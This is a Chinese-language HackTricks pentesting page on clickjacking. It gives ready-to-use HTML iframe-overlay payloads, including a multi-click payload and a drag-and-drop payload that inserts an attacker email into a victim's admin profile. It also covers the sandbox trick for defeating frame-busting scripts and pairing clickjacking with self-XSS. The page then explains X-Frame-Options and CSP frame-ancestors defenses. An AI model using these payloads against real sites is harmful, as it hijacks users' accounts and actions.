10 KiB
点击劫持
从零开始学习AWS黑客攻击直至成为专家,通过 htARTE (HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组或telegram群组或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
使用 Trickest 来轻松构建并自动化工作流程,这些工作流程由世界上最先进的社区工具提供支持。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
什么是点击劫持
点击劫持是一种攻击,它诱骗用户点击一个不可见或伪装成另一个元素的网页元素。这可能导致用户无意中下载恶意软件,访问恶意网页,提供凭据或敏感信息,转账或在线购买产品。(来源于这里)。
预填充表单技巧
有时候,当加载页面时,可以使用GET参数填充表单字段的值。攻击者可能会滥用这种行为,用任意数据填充表单,并发送点击劫持有效载荷,使用户按下提交按钮。
用拖放填充表单
如果您需要用户填写表单,但您不想直接要求他写入一些特定信息(如您知道的电子邮件或特定密码),您可以只要求他拖放一些东西,这将写入您控制的数据,就像在这个例子中一样。
基础有效载荷
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
多步骤有效载荷
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
拖放 + 点击负载
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + 点击劫持
如果您发现了一个需要用户点击某个元素来触发XSS的XSS攻击,并且页面容易受到点击劫持,您可以利用它欺骗用户点击按钮/链接。
示例:
您在账户的一些私人详情中发现了一个自身XSS(只有您可以设置和读取的详情)。设置这些详情的页面对点击劫持是容易受到攻击的,并且您可以使用GET参数预填充表单。
__攻击者可以准备一个针对该页面的点击劫持攻击,通过预填充带有XSS有效载荷的表单,并诱导用户提交表单。因此,当表单被提交且值被修改后,用户将执行XSS。
如何避免点击劫持
客户端防御
可以在客户端执行脚本来执行以下一些或全部行为以防止点击劫持:
- 检查并确保当前应用窗口是主窗口或顶层窗口,
- 使所有框架可见,
- 防止点击不可见的框架,
- 拦截并标记可能对用户进行的点击劫持攻击。
绕过
由于框架破坏者是JavaScript,因此浏览器的安全设置可能会阻止它们的操作,或者浏览器甚至可能不支持JavaScript。针对框架破坏者的有效攻击者绕过方法是使用HTML5 iframe sandbox
属性。当设置了allow-forms
或allow-scripts
值,并且省略了allow-top-navigation
值时,框架破坏脚本可以被中和,因为iframe无法检查它是否是顶层窗口:
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
`allow-forms` 和 `allow-scripts` 值允许在iframe中执行指定操作,但禁用了顶级导航。这阻止了破坏框架的行为,同时允许在目标站点内的功能。
根据执行的Clickjacking攻击类型,**您可能还需要允许**:`allow-same-origin` 和 `allow-modals` 或[更多](https://www.w3schools.com/tags/att_iframe_sandbox.asp)。准备攻击时,检查浏览器的控制台,它可能会告诉您需要允许哪些其他行为。
### X-Frame-Options
**`X-Frame-Options` HTTP响应头** 可用于指示浏览器是否应该被**允许**在 `<frame>` 或 `<iframe>` 中渲染页面。网站可以使用它来避免Clickjacking攻击,确保**他们的内容不被嵌入到其他网站中**。为所有包含HTML内容的响应设置**`X-Frame-Options`** 头。可能的值有:
* `X-Frame-Options: deny` 阻止任何域框架内容 **(推荐值)**
* `X-Frame-Options: sameorigin` 只**允许当前站点**框架内容。
* `X-Frame-Options: allow-from https://trusted.com` **允许指定的'uri'**框架此页面。
* 查看下面的限制,因为**如果浏览器不支持,这将失败**。
* 其他浏览器支持新的**CSP frame-ancestors指令**。一些同时支持两者。
### Content Security Policy (CSP) frame-ancestors指令
**推荐的clickjacking保护**是在应用程序的Content Security Policy中加入**`frame-ancestors`指令**。\
**`frame-ancestors 'none'`** 指令的行为类似于**X-Frame-Options `deny`** 指令(_没有人可以框架页面_)。\
**`frame-ancestors 'self'`** 指令大致相当于**X-Frame-Options `sameorigin`** 指令(_只有当前站点可以框架它_)。\
**`frame-ancestors trusted.com`** 指令大致相当于**X-Frame-Options** `allow-from`指令(_只有受信任的站点可以框架它_)。
以下CSP仅将框架列入同一域名:
`Content-Security-Policy: frame-ancestors 'self';`
有关更多详细信息和更复杂示例,请参阅以下文档:
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
### 限制 <a href="#limitations" id="limitations"></a>
* **浏览器支持:** 并非所有主流浏览器都支持CSP frame-ancestors。
* **X-Frame-Options优先:** [CSP规范的"与X-Frame-Options的关系"部分](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options)说:"_如果资源是带有包含名为frame-ancestors的指令的策略交付的,并且其处置是'执行',那么X-Frame-Options头必须被忽略_",但Chrome 40和Firefox 35忽略frame-ancestors指令,而遵循X-Frame-Options头。
## 参考资料
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进**的社区工具提供支持。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
支持HackTricks的其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>